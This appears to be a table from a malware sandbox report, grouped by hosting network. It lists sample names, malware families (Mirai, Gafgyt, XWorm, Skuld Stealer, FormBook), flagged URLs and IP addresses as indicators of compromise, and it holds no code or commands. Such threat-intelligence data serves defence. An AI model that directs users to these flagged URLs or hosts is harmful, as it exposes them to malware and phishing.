	20250031011(12 Mar 2025).pdf.html	Get hash	malicious	Unknown	Browse	91.134.82.79
ONL-HKOCEANNETWORKLIMITEDHK	resgod.arm5.elf	Get hash	malicious	Mirai	Browse	156.249.107.21
	cbr.mpsl.elf	Get hash	malicious	Mirai	Browse	156.249.125.168
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	156.229.163.4
	cbr.ppc.elf	Get hash	malicious	Mirai	Browse	156.249.107.93
	armv7l.elf	Get hash	malicious	Unknown	Browse	45.202.74.234
	http://www.car1997.cn/	Get hash	malicious	Unknown	Browse	45.202.81.19
	Hilix.sh4.elf	Get hash	malicious	Mirai	Browse	156.249.107.33
	pXdN91.x68.elf	Get hash	malicious	Mirai, Gafgyt	Browse	156.229.233.170
	gmips.elf	Get hash	malicious	Unknown	Browse	156.229.232.154
	arm5.elf	Get hash	malicious	Unknown	Browse	156.229.232.154
OVHFR	https://sceanmcommnunmnlty.com/xroea/spwoe/zxiwe	Get hash	malicious	Unknown	Browse	91.134.10.168
	http://feirao2025.com.br/consulta/	Get hash	malicious	Unknown	Browse	91.134.60.128
	miori.arm.elf	Get hash	malicious	Unknown	Browse	142.44.221.81
	http://americanlibertywatch.com	Get hash	malicious	Unknown	Browse	91.134.110.137
	WizClient.exe	Get hash	malicious	XWorm	Browse	91.134.10.168
	https://www.dkgroup.fr	Get hash	malicious	Unknown	Browse	137.74.137.164
	skuld.exe	Get hash	malicious	Go Stealer, Skuld Stealer	Browse	51.91.7.6
	PURCHASE-ORDER-SINCOAUTOMATION-PO3223090781-Ref 6421SINCO-AUTOMATION.exe	Get hash	malicious	FormBook	Browse	5.196.134.71
	20250031011(12 Mar 2025).pdf.html	Get hash	malicious	Unknown	Browse	91.134.10.168
	20250031011(12 Mar 2025).pdf.html	Get hash	malicious	Unknown	Browse	91.134.82.79